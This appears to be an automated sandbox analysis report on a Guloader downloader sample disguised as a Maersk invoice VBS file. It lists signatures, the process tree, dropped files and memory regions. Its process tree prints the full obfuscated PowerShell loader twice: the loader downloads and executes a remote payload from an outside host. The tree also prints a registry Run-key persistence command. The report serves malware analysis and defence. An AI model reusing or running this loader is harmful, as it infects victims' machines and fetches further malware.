Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/07/2024, 05:46

General

  • Target
    Maersk_BL_Invoice_Packinglist.vbs
  • Size 26KB
  • Sample240702-ggamyssemk
  • SHA256 bcd66ce1c9d8d1123249ef8240a6e7ef32662aaa897845e866627ee69b28dff1
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Maersk_BL_Invoice_Packinglist.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4876
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Byggeforetagender Jenda Nonmetallurgically Skalatrinnets Siddembler Sokkefdders doedsstraale Filnavnene Tetricalness Traadhegnenes Ironworks76 Retterstedets juridicial intetkoen Tankesystemets48 Sideprintets Opbevaringens Hydronically Forbundsstatens Pokeransigtets Putzed Pardonnerende Rangsforskel Samariterkursernes Byggeforetagender Jenda Nonmetallurgically Skalatrinnets Siddembler Sokkefdders doedsstraale Filnavnene Tetricalness Traadhegnenes Ironworks76 Retterstedets juridicial intetkoen Tankesystemets48 Sideprintets Opbevaringens Hydronically Forbundsstatens Pokeransigtets Putzed Pardonnerende Rangsforskel Samariterkursernes';If (${host}.CurrentCulture) {$Bofllen++;}Function toddyernes($Experientialistic){$Larisas=$Experientialistic.Length-$Bofllen;$Stregninger='SUBsTRI';$Stregninger+='ng';For( $Trepanationen=1;$Trepanationen -lt $Larisas;$Trepanationen+=2){$Byggeforetagender+=$Experientialistic.$Stregninger.Invoke( $Trepanationen, $Bofllen);}$Byggeforetagender;}function Unopportunely($unexchangeableness){ & ($Catguts) ($unexchangeableness);}$Doktorafhandlinger=toddyernes 'HMTo z iMlVl,aM/ 5 .I0C ,( WHi n dSo w sP ,NWTS V1P0 . 0K;. ,W iHn,6S4P;. Bx 6 4.; CrDvW:,1F2T1R.K0G) GGSe cMkPoB/,2B0p1.0 0B1U0 1L F iRrBe,fSoHxS/M1A2D1A.,0s ';$Grampa=toddyernes ' UPsCe rA- AUgSe,nSt, ';$Siddembler=toddyernes 'Ahst tDp.s : /P/ cSo n,tFeEm e.g aP.Vc o,m .Dd oE/NO.umtHgKa,s s e,d ..eTmTz >,h t,tFpR: /,/ 1 0 3 .R1B9P5,.I2.3M7 .P4,3D/,OUuNtSgDa.sss,eSd . eSm z. ';$Hamskiftets=toddyernes ' >. ';$Catguts=toddyernes ' iDe x, ';$arbejdsgangene='Filnavnene';$Characterisation = toddyernes 'AeBc.hIoN %.aSp pRd,aUtUaB% \PSTcAaGb.r o s.eHl,yD. Tho.rZ A& & .eVcCh,oH BtO ';Unopportunely (toddyernes '.$Cg lAoEb a.l.:OFFl a gSkTn,a pRp.e rps,= (.c,m d H/ScS I$,C h a,rMaScktBeIr,iGs,a t iFoUn,)U ');Unopportunely (toddyernes 'b$sg l.oAbSaAl :AS.k a lBa tBr ipnPn,e.tTsT=S$NSCiRd dSe mAbPlHe r.. sSp,lCiYtG(U$ H.a mTsAk iDf t eBtIsK)S ');Unopportunely (toddyernes 'S[NN eCt.. S.e,r v,iUc e P o.i,n tBMdaCn a gKe rl].:S:SSUe cAuRrtiNt ySPSrSoRtKoFc o l ,=, U[CNue t.. SSe cSuPrTiPt.y.Pur.oRtPoUc,o l TSyAp eA]B:G: TblSs 1I2. ');$Siddembler=$Skalatrinnets[0];$Trepanationenllaudatory= (toddyernes 'C$,g lAo b a l : SLoPlNdbe r iFe tRsS= N.eOwC- ONbUj eBc t SMyAs tSePmF.BNVeAtK. W ePbYCMl i eDn t');$Trepanationenllaudatory+=$Flagknappers[1];Unopportunely ($Trepanationenllaudatory);Unopportunely (toddyernes ',$,S oulPdAePrTike t,s..RH e a dCeSrTsA[B$.G.rAa mSp a,]f=S$,D.o k tPo rHa,f hGa nSd l i n.gZeEr ');$Narcotisation205=toddyernes ' $SSFo lUdBe.rUiSeOt,s ..D o,w.nmlCokadd FPiFlKe.( $LSPiPdNd eRm,b lOeFr,,,$.PCa r,dOoNnGn e.rSe nVd eO)S ';$Pardonnerende=$Flagknappers[0];Unopportunely (toddyernes 'S$MgIl o bSa lg:AF oTrAh.j uIlCs.=I(HT eJsWt - Pla tDhU $SPBaUr dHo,nBnPeSr e.n,d.ev) ');while (!$Forhjuls) {Unopportunely (toddyernes '.$mg,lJoFb,a,lM:FS,iLmEclo.nS= $.t r uTe, ') ;Unopportunely $Narcotisation205;Unopportunely (toddyernes 'HS t aMrMtM-,SAl e,e p. L4V ');Unopportunely (toddyernes ' $ gNlNo,b a l :CF.oOrOh,jSuHl,sE=P(,TNe.sUtN-VP.aItchP $APLaSrVdAoTnLnPe rUeUn d eP)D ') ;Unopportunely (toddyernes 'S$PgSlHo.bSa.l :,N.o nNm e,t,aIl lAuKr,g i.c,a,l.l yS= $,gBlKo,b aIl.:RJ,eOnMdCaP+ +F%G$PS k,a l a t r i,n nTeDtBsL.Bc o u nAtS ') ;$Siddembler=$Skalatrinnets[$Nonmetallurgically];}$Morderskers=325186;$Horehuset=25649;Unopportunely (toddyernes ' $Ug l o bBaLl :.TWeNtFr.i csa lEn e sDs. =T CGSedt -RCOo,n t,eOn tO k$MP a rLdSo nIn eFrOe n.d eS ');Unopportunely (toddyernes 'T$sgUlSolbIa l,:CF,uDsSoEbDaTc the rQi aA V=, ,[ SMySsPt eUm .JC oBnTvBeIrstK]O: : F rEo m BIa s eB6,4ES.tSr iSn gD( $.TPe,tPrLi cHaDlHn,e s s ) ');Unopportunely (toddyernes 'f$HgRlSo b aKlT:ER.eLtPtre.rbs.tSe.dUe.t.sB N=. N[ SFyJsUtBe,mH.WTAeFx t .UE,n cEoSd.iPnRg.] :G:PAOS,CGIBIS.,G.e,t S,t rAi nDg ( $LF.u sSo bKaacHt,eUrFi a )D ');Unopportunely (toddyernes ',$Gg l.o bSa.lJ: MLaBk.u,l.efr e tc=,$ R e.t tpeEr s tDeNd eUtLsS.FsSu b s tRrBi n gW( $ MFoPr d e r s.k eArEs ,B$SHkoSrSe,hBuBs,e,t )V ');Unopportunely $Makuleret;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2216
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Scabrosely.Tor && echo t"
        3⤵
          PID:3596
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Byggeforetagender Jenda Nonmetallurgically Skalatrinnets Siddembler Sokkefdders doedsstraale Filnavnene Tetricalness Traadhegnenes Ironworks76 Retterstedets juridicial intetkoen Tankesystemets48 Sideprintets Opbevaringens Hydronically Forbundsstatens Pokeransigtets Putzed Pardonnerende Rangsforskel Samariterkursernes Byggeforetagender Jenda Nonmetallurgically Skalatrinnets Siddembler Sokkefdders doedsstraale Filnavnene Tetricalness Traadhegnenes Ironworks76 Retterstedets juridicial intetkoen Tankesystemets48 Sideprintets Opbevaringens Hydronically Forbundsstatens Pokeransigtets Putzed Pardonnerende Rangsforskel Samariterkursernes';If (${host}.CurrentCulture) {$Bofllen++;}Function toddyernes($Experientialistic){$Larisas=$Experientialistic.Length-$Bofllen;$Stregninger='SUBsTRI';$Stregninger+='ng';For( $Trepanationen=1;$Trepanationen -lt $Larisas;$Trepanationen+=2){$Byggeforetagender+=$Experientialistic.$Stregninger.Invoke( $Trepanationen, $Bofllen);}$Byggeforetagender;}function Unopportunely($unexchangeableness){ & ($Catguts) ($unexchangeableness);}$Doktorafhandlinger=toddyernes 'HMTo z iMlVl,aM/ 5 .I0C ,( WHi n dSo w sP ,NWTS V1P0 . 0K;. ,W iHn,6S4P;. Bx 6 4.; CrDvW:,1F2T1R.K0G) GGSe cMkPoB/,2B0p1.0 0B1U0 1L F iRrBe,fSoHxS/M1A2D1A.,0s ';$Grampa=toddyernes ' UPsCe rA- AUgSe,nSt, ';$Siddembler=toddyernes 'Ahst tDp.s : /P/ cSo n,tFeEm e.g aP.Vc o,m .Dd oE/NO.umtHgKa,s s e,d ..eTmTz >,h t,tFpR: /,/ 1 0 3 .R1B9P5,.I2.3M7 .P4,3D/,OUuNtSgDa.sss,eSd . eSm z. ';$Hamskiftets=toddyernes ' >. ';$Catguts=toddyernes ' iDe x, ';$arbejdsgangene='Filnavnene';$Characterisation = toddyernes 'AeBc.hIoN %.aSp pRd,aUtUaB% \PSTcAaGb.r o s.eHl,yD. Tho.rZ A& & .eVcCh,oH BtO ';Unopportunely (toddyernes '.$Cg lAoEb a.l.:OFFl a gSkTn,a pRp.e rps,= (.c,m d H/ScS I$,C h a,rMaScktBeIr,iGs,a t iFoUn,)U ');Unopportunely (toddyernes 'b$sg l.oAbSaAl :AS.k a lBa tBr ipnPn,e.tTsT=S$NSCiRd dSe mAbPlHe r.. sSp,lCiYtG(U$ H.a mTsAk iDf t eBtIsK)S ');Unopportunely (toddyernes 'S[NN eCt.. S.e,r v,iUc e P o.i,n tBMdaCn a gKe rl].:S:SSUe cAuRrtiNt ySPSrSoRtKoFc o l ,=, U[CNue t.. SSe cSuPrTiPt.y.Pur.oRtPoUc,o l TSyAp eA]B:G: TblSs 1I2. ');$Siddembler=$Skalatrinnets[0];$Trepanationenllaudatory= (toddyernes 'C$,g lAo b a l : SLoPlNdbe r iFe tRsS= N.eOwC- ONbUj eBc t SMyAs tSePmF.BNVeAtK. W ePbYCMl i eDn t');$Trepanationenllaudatory+=$Flagknappers[1];Unopportunely ($Trepanationenllaudatory);Unopportunely (toddyernes ',$,S oulPdAePrTike t,s..RH e a dCeSrTsA[B$.G.rAa mSp a,]f=S$,D.o k tPo rHa,f hGa nSd l i n.gZeEr ');$Narcotisation205=toddyernes ' $SSFo lUdBe.rUiSeOt,s ..D o,w.nmlCokadd FPiFlKe.( $LSPiPdNd eRm,b lOeFr,,,$.PCa r,dOoNnGn e.rSe nVd eO)S ';$Pardonnerende=$Flagknappers[0];Unopportunely (toddyernes 'S$MgIl o bSa lg:AF oTrAh.j uIlCs.=I(HT eJsWt - Pla tDhU $SPBaUr dHo,nBnPeSr e.n,d.ev) ');while (!$Forhjuls) {Unopportunely (toddyernes '.$mg,lJoFb,a,lM:FS,iLmEclo.nS= $.t r uTe, ') ;Unopportunely $Narcotisation205;Unopportunely (toddyernes 'HS t aMrMtM-,SAl e,e p. L4V ');Unopportunely (toddyernes ' $ gNlNo,b a l :CF.oOrOh,jSuHl,sE=P(,TNe.sUtN-VP.aItchP $APLaSrVdAoTnLnPe rUeUn d eP)D ') ;Unopportunely (toddyernes 'S$PgSlHo.bSa.l :,N.o nNm e,t,aIl lAuKr,g i.c,a,l.l yS= $,gBlKo,b aIl.:RJ,eOnMdCaP+ +F%G$PS k,a l a t r i,n nTeDtBsL.Bc o u nAtS ') ;$Siddembler=$Skalatrinnets[$Nonmetallurgically];}$Morderskers=325186;$Horehuset=25649;Unopportunely (toddyernes ' $Ug l o bBaLl :.TWeNtFr.i csa lEn e sDs. =T CGSedt -RCOo,n t,eOn tO k$MP a rLdSo nIn eFrOe n.d eS ');Unopportunely (toddyernes 'T$sgUlSolbIa l,:CF,uDsSoEbDaTc the rQi aA V=, ,[ SMySsPt eUm .JC oBnTvBeIrstK]O: : F rEo m BIa s eB6,4ES.tSr iSn gD( $.TPe,tPrLi cHaDlHn,e s s ) ');Unopportunely (toddyernes 'f$HgRlSo b aKlT:ER.eLtPtre.rbs.tSe.dUe.t.sB N=. N[ SFyJsUtBe,mH.WTAeFx t .UE,n cEoSd.iPnRg.] :G:PAOS,CGIBIS.,G.e,t S,t rAi nDg ( $LF.u sSo bKaacHt,eUrFi a )D ');Unopportunely (toddyernes ',$Gg l.o bSa.lJ: MLaBk.u,l.efr e tc=,$ R e.t tpeEr s tDeNd eUtLsS.FsSu b s tRrBi n gW( $ MFoPr d e r s.k eArEs ,B$SHkoSrSe,hBuBs,e,t )V ');Unopportunely $Makuleret;"
          3⤵
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4700
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Scabrosely.Tor && echo t"
            4⤵
              PID:2152
            • C:\Program Files (x86)\windows mail\wab.exe
              "C:\Program Files (x86)\windows mail\wab.exe"
              4⤵
              • Suspicious use of NtCreateThreadExHideFromDebugger
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:1484
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Salvings% -w 1 $Urbanities=(Get-ItemProperty -Path 'HKCU:\Pardo\').Krecar;%Salvings% ($Urbanities)"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:3488
                • C:\Windows\SysWOW64\reg.exe
                  REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Salvings% -w 1 $Urbanities=(Get-ItemProperty -Path 'HKCU:\Pardo\').Krecar;%Salvings% ($Urbanities)"
                  6⤵
                  • Adds Run key to start application
                  • Modifies registry key
                  PID:4576

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            __PSScriptPolicyTest_0mkwre3q.a32.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0mkwre3q.a32.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            Scabrosely.Tor

            • Path C:\Users\Admin\AppData\Roaming\Scabrosely.Tor
            • Size 456KB
            • SHA256 c3d1f59479601b37115c2c73552d208eda7f5de0817c57713025e20b2fbc1ef4
            • MD5 SHA1 SHA512 SSDEEP

            memory/1484-46-0x0000000002060000-0x0000000004254000-memory.dmp

            memory/2216-14-0x0000022E3E080000-0x0000022E3E0A2000-memory.dmp

            memory/2216-15-0x00007FFD8D910000-0x00007FFD8E3D1000-memory.dmp

            memory/2216-16-0x00007FFD8D910000-0x00007FFD8E3D1000-memory.dmp

            memory/2216-49-0x00007FFD8D910000-0x00007FFD8E3D1000-memory.dmp

            memory/2216-4-0x00007FFD8D913000-0x00007FFD8D915000-memory.dmp

            memory/2216-45-0x00007FFD8D910000-0x00007FFD8E3D1000-memory.dmp

            memory/2216-44-0x00007FFD8D913000-0x00007FFD8D915000-memory.dmp

            memory/4700-20-0x00000000051B0000-0x00000000057D8000-memory.dmp

            memory/4700-40-0x0000000008570000-0x0000000008B14000-memory.dmp

            memory/4700-35-0x0000000006130000-0x000000000617C000-memory.dmp

            memory/4700-36-0x0000000007940000-0x0000000007FBA000-memory.dmp

            memory/4700-37-0x00000000066A0000-0x00000000066BA000-memory.dmp

            memory/4700-38-0x00000000073C0000-0x0000000007456000-memory.dmp

            memory/4700-39-0x0000000007350000-0x0000000007372000-memory.dmp

            memory/4700-34-0x00000000060F0000-0x000000000610E000-memory.dmp

            memory/4700-33-0x0000000005CA0000-0x0000000005FF4000-memory.dmp

            memory/4700-42-0x0000000008B20000-0x000000000AD14000-memory.dmp

            memory/4700-23-0x0000000005AF0000-0x0000000005B56000-memory.dmp

            memory/4700-22-0x0000000005950000-0x00000000059B6000-memory.dmp

            memory/4700-21-0x0000000005150000-0x0000000005172000-memory.dmp

            memory/4700-19-0x00000000027F0000-0x0000000002826000-memory.dmp